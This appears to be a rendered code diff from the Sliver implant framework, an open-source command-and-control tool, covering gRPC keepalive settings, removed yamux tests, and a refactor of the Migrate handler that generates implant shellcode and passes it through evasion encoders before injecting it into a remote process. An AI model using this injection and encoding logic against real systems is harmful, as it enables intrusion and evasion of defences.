if len(dbCrackstation.Benchmarks) == 0 {
|
||||
crackRpcLog.Infof("No benchmark information for '%s', requesting benchmark...", req.Name)
|
||||
err = stream.Send(&clientpb.Event{EventType: consts.CrackBenchmark, Data: []byte{}})
|
||||
taskID, err := uuid.NewV4()
|
||||
if err != nil {
|
||||
crackRpcLog.Errorf("Failed to generate benchmark task ID: %s", err)
|
||||
return status.Error(codes.Internal, "failed to create benchmark task")
|
||||
}
|
||||
err = stream.Send(&clientpb.Event{EventType: consts.CrackBenchmark, Data: taskID.Bytes()})
|
||||
if err != nil {
|
||||
crackRpcLog.Errorf("Failed to send benchmark task to crackstation: %s", err)
|
||||
return status.Error(codes.Internal, "failed to send benchmark task")
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
package rpc
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2020 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// ExecuteChildren - List tracked background execute child processes
|
||||
func (rpc *Server) ExecuteChildren(ctx context.Context, req *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
|
||||
resp := &sliverpb.ExecuteChildren{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
@@ -147,6 +147,8 @@ func normalizeShellcodeArch(arch string) string {
|
||||
return "amd64"
|
||||
case "386", "x86", "i386":
|
||||
return "386"
|
||||
case "arm64", "aarch64":
|
||||
return "arm64"
|
||||
default:
|
||||
return normalized
|
||||
}
|
||||
|
||||
+33
-13
@@ -36,9 +36,9 @@ import (
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
shellcodeencoders "github.com/bishopfox/sliver/server/encoders/shellcode"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
|
||||
"google.golang.org/grpc/codes"
|
||||
@@ -61,7 +61,7 @@ func (rpc *Server) Task(ctx context.Context, req *sliverpb.TaskReq) (*sliverpb.T
|
||||
|
||||
// Migrate - Migrate to a new process on the remote system (Windows only)
|
||||
func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliverpb.Migrate, error) {
|
||||
var shellcode []byte
|
||||
var sc []byte
|
||||
var session *core.Session
|
||||
var beacon *clientpb.Beacon
|
||||
var dbBeacon *models.Beacon
|
||||
@@ -85,7 +85,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
}
|
||||
|
||||
name := filepath.Base(req.Name)
|
||||
shellcode, arch, err := getSliverShellcode(name)
|
||||
sc, arch, err := getSliverShellcode(name)
|
||||
if err != nil {
|
||||
config := req.Config
|
||||
if req.Name == "" {
|
||||
@@ -119,7 +119,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
if err != nil {
|
||||
return nil, rpcError(err)
|
||||
}
|
||||
shellcode, _ = os.ReadFile(shellcodePath)
|
||||
sc, _ = os.ReadFile(shellcodePath)
|
||||
// Save the implant config in the database so that the server recognizes it when it tries to connect
|
||||
config.ID = ""
|
||||
savedConfig, err := db.SaveImplantConfig(config)
|
||||
@@ -140,23 +140,43 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
|
||||
}
|
||||
|
||||
if len(shellcode) < 1 {
|
||||
if len(sc) < 1 {
|
||||
return nil, status.Error(codes.OutOfRange, "shellcode is zero bytes")
|
||||
}
|
||||
|
||||
switch req.Encoder {
|
||||
|
||||
case clientpb.ShellcodeEncoder_SHIKATA_GA_NAI:
|
||||
shellcode, err = sgn.EncodeShellcode(shellcode, arch, 1, []byte{})
|
||||
if err != nil {
|
||||
return nil, rpcError(err)
|
||||
if req.Encoder != clientpb.ShellcodeEncoder_NONE {
|
||||
encoderName, ok := shellcodeEncoderNames[req.Encoder]
|
||||
if !ok {
|
||||
return nil, status.Error(codes.InvalidArgument, "Unknown encoder")
|
||||
}
|
||||
|
||||
normalizedArch := normalizeShellcodeArch(arch)
|
||||
if normalizedArch == "" {
|
||||
return nil, status.Error(codes.InvalidArgument, "Unknown architecture")
|
||||
}
|
||||
|
||||
encoderArchs := shellcodeencoders.ShellcodeEncoders[normalizedArch]
|
||||
if encoderArchs == nil {
|
||||
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("Unknown architecture: %s", normalizedArch))
|
||||
}
|
||||
encoder := encoderArchs[encoderName]
|
||||
if encoder == nil {
|
||||
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("Encoder %s not supported for architecture %s", encoderName, normalizedArch))
|
||||
}
|
||||
|
||||
encoded, err := encoder.Encode(sc, shellcodeencoders.ShellcodeEncoderArgs{
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
})
|
||||
if err != nil {
|
||||
return nil, status.Error(codes.Internal, fmt.Sprintf("Failed to encode shellcode (%s)", err))
|
||||
}
|
||||
sc = encoded
|
||||
}
|
||||
|
||||
migrateReq := &sliverpb.InvokeMigrateReq{
|
||||
Request: req.Request,
|
||||
Data: shellcode,
|
||||
Data: sc,
|
||||
Pid: req.Pid,
|
||||
ProcName: req.ProcName,
|
||||
}
|
||||
@@ -373,7 +393,7 @@ func getSliverShellcode(name string) ([]byte, string, error) {
|
||||
if err != nil {
|
||||
return []byte{}, "", err
|
||||
}
|
||||
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false, config.DonutConfig)
|
||||
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false, config.ShellcodeConfig)
|
||||
if err != nil {
|
||||
rpcLog.Errorf("DonutShellcodeFromPE error: %v\n", err)
|
||||
return []byte{}, "", err
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
package transport
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/keepalive"
|
||||
)
|
||||
|
||||
func grpcKeepaliveOptions() []grpc.ServerOption {
|
||||
if serverConfig == nil || serverConfig.GRPC == nil || serverConfig.GRPC.Keepalive == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
minTimeSeconds := serverConfig.GRPC.Keepalive.MinTimeSeconds
|
||||
if minTimeSeconds <= 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
permitWithoutStream := true
|
||||
if serverConfig.GRPC.Keepalive.PermitWithoutStream != nil {
|
||||
permitWithoutStream = *serverConfig.GRPC.Keepalive.PermitWithoutStream
|
||||
}
|
||||
|
||||
policy := keepalive.EnforcementPolicy{
|
||||
MinTime: time.Duration(minTimeSeconds) * time.Second,
|
||||
PermitWithoutStream: permitWithoutStream,
|
||||
}
|
||||
return []grpc.ServerOption{
|
||||
grpc.KeepaliveEnforcementPolicy(policy),
|
||||
}
|
||||
}
|
||||
@@ -43,6 +43,7 @@ func LocalListener() (*grpc.Server, *bufconn.Listener, error) {
|
||||
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
||||
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
||||
}
|
||||
options = append(options, grpcKeepaliveOptions()...)
|
||||
options = append(options, initMiddleware(false)...)
|
||||
grpcServer := grpc.NewServer(options...)
|
||||
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
||||
|
||||
@@ -64,6 +64,7 @@ func StartMtlsClientListener(host string, port uint16) (*grpc.Server, net.Listen
|
||||
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
||||
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
||||
}
|
||||
options = append(options, grpcKeepaliveOptions()...)
|
||||
options = append(options, initMiddleware(true)...)
|
||||
grpcServer := grpc.NewServer(options...)
|
||||
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
||||
|
||||
@@ -81,6 +81,7 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L
|
||||
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
||||
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
||||
}
|
||||
options = append(options, grpcKeepaliveOptions()...)
|
||||
options = append(options, initMiddleware(true)...)
|
||||
grpcServer := grpc.NewServer(options...)
|
||||
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
||||
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
# Compiled Object files, Static and Dynamic libs (Shared Objects)
|
||||
*.o
|
||||
*.a
|
||||
*.so
|
||||
|
||||
# Folders
|
||||
_obj
|
||||
_test
|
||||
|
||||
# Architecture specific extensions/prefixes
|
||||
*.[568vq]
|
||||
[568vq].out
|
||||
|
||||
*.cgo1.go
|
||||
*.cgo2.c
|
||||
_cgo_defun.c
|
||||
_cgo_gotypes.go
|
||||
_cgo_export.*
|
||||
|
||||
_testmain.go
|
||||
|
||||
*.exe
|
||||
*.test
|
||||
-243
@@ -1,243 +0,0 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func BenchmarkPing(b *testing.B) {
|
||||
client, _ := testClientServer(b)
|
||||
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
rtt, err := client.Ping()
|
||||
if err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
if rtt == 0 {
|
||||
b.Fatalf("bad: %v", rtt)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func BenchmarkAccept(b *testing.B) {
|
||||
client, server := testClientServer(b)
|
||||
|
||||
doneCh := make(chan struct{})
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
|
||||
go func() {
|
||||
defer close(doneCh)
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
stream, err := server.AcceptStream()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
stream.Close()
|
||||
}
|
||||
}()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
stream, err := client.Open()
|
||||
if err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
stream.Close()
|
||||
}
|
||||
<-doneCh
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv32(b *testing.B) {
|
||||
const payloadSize = 32
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv64(b *testing.B) {
|
||||
const payloadSize = 64
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv128(b *testing.B) {
|
||||
const payloadSize = 128
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv256(b *testing.B) {
|
||||
const payloadSize = 256
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv512(b *testing.B) {
|
||||
const payloadSize = 512
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv1024(b *testing.B) {
|
||||
const payloadSize = 1024
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv2048(b *testing.B) {
|
||||
const payloadSize = 2048
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv4096(b *testing.B) {
|
||||
const payloadSize = 4096
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvLarge(b *testing.B) {
|
||||
const sendSize = 512 * 1024 * 1024 //512 MB
|
||||
const recvSize = 4 * 1024 //4 KB
|
||||
benchmarkSendRecv(b, sendSize, recvSize)
|
||||
}
|
||||
|
||||
func benchmarkSendRecv(b *testing.B, sendSize, recvSize int) {
|
||||
client, server := testClientServer(b)
|
||||
|
||||
sendBuf := make([]byte, sendSize)
|
||||
recvBuf := make([]byte, recvSize)
|
||||
errCh := make(chan error, 1)
|
||||
|
||||
b.SetBytes(int64(sendSize))
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
|
||||
go func() {
|
||||
stream, err := server.AcceptStream()
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
|
||||
switch {
|
||||
case sendSize == recvSize:
|
||||
for i := 0; i < b.N; i++ {
|
||||
if _, err := stream.Read(recvBuf); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
case recvSize > sendSize:
|
||||
errCh <- fmt.Errorf("bad test case; recvSize was: %d and sendSize was: %d, but recvSize must be <= sendSize!", recvSize, sendSize)
|
||||
return
|
||||
|
||||
default:
|
||||
chunks := sendSize / recvSize
|
||||
for i := 0; i < b.N; i++ {
|
||||
for j := 0; j < chunks; j++ {
|
||||
if _, err := stream.Read(recvBuf); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
errCh <- nil
|
||||
}()
|
||||
|
||||
stream, err := client.Open()
|
||||
if err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
defer stream.Close()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
if _, err := stream.Write(sendBuf); err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
drainErrorsUntil(b, errCh, 1, 0, "")
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel32(b *testing.B) {
|
||||
const payloadSize = 32
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel64(b *testing.B) {
|
||||
const payloadSize = 64
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel128(b *testing.B) {
|
||||
const payloadSize = 128
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel256(b *testing.B) {
|
||||
const payloadSize = 256
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel512(b *testing.B) {
|
||||
const payloadSize = 512
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel1024(b *testing.B) {
|
||||
const payloadSize = 1024
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel2048(b *testing.B) {
|
||||
const payloadSize = 2048
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel4096(b *testing.B) {
|
||||
const payloadSize = 4096
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func benchmarkSendRecvParallel(b *testing.B, sendSize int) {
|
||||
client, server := testClientServer(b)
|
||||
|
||||
sendBuf := make([]byte, sendSize)
|
||||
discarder := io.Discard.(io.ReaderFrom)
|
||||
b.SetBytes(int64(sendSize))
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
|
||||
b.RunParallel(func(pb *testing.PB) {
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
stream, err := server.AcceptStream()
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
|
||||
if _, err := discarder.ReadFrom(stream); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
errCh <- nil
|
||||
}()
|
||||
|
||||
stream, err := client.Open()
|
||||
if err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
|
||||
for pb.Next() {
|
||||
if _, err := stream.Write(sendBuf); err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
stream.Close()
|
||||
|
||||
drainErrorsUntil(b, errCh, 1, 0, "")
|
||||
})
|
||||
}
|
||||
-72
@@ -1,72 +0,0 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestConst(t *testing.T) {
|
||||
if protoVersion != 0 {
|
||||
t.Fatalf("bad: %v", protoVersion)
|
||||
}
|
||||
|
||||
if typeData != 0 {
|
||||
t.Fatalf("bad: %v", typeData)
|
||||
}
|
||||
if typeWindowUpdate != 1 {
|
||||
t.Fatalf("bad: %v", typeWindowUpdate)
|
||||
}
|
||||
if typePing != 2 {
|
||||
t.Fatalf("bad: %v", typePing)
|
||||
}
|
||||
if typeGoAway != 3 {
|
||||
t.Fatalf("bad: %v", typeGoAway)
|
||||
}
|
||||
|
||||
if flagSYN != 1 {
|
||||
t.Fatalf("bad: %v", flagSYN)
|
||||
}
|
||||
if flagACK != 2 {
|
||||
t.Fatalf("bad: %v", flagACK)
|
||||
}
|
||||
if flagFIN != 4 {
|
||||
t.Fatalf("bad: %v", flagFIN)
|
||||
}
|
||||
if flagRST != 8 {
|
||||
t.Fatalf("bad: %v", flagRST)
|
||||
}
|
||||
|
||||
if goAwayNormal != 0 {
|
||||
t.Fatalf("bad: %v", goAwayNormal)
|
||||
}
|
||||
if goAwayProtoErr != 1 {
|
||||
t.Fatalf("bad: %v", goAwayProtoErr)
|
||||
}
|
||||
if goAwayInternalErr != 2 {
|
||||
t.Fatalf("bad: %v", goAwayInternalErr)
|
||||
}
|
||||
|
||||
if headerSize != 12 {
|
||||
t.Fatalf("bad header size")
|
||||
}
|
||||
}
|
||||
|
||||
func TestEncodeDecode(t *testing.T) {
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typeWindowUpdate, flagACK|flagRST, 1234, 4321)
|
||||
|
||||
if hdr.Version() != protoVersion {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
if hdr.MsgType() != typeWindowUpdate {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
if hdr.Flags() != flagACK|flagRST {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
if hdr.StreamID() != 1234 {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
if hdr.Length() != 4321 {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
}
|
||||
Loaded 100 of 133 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user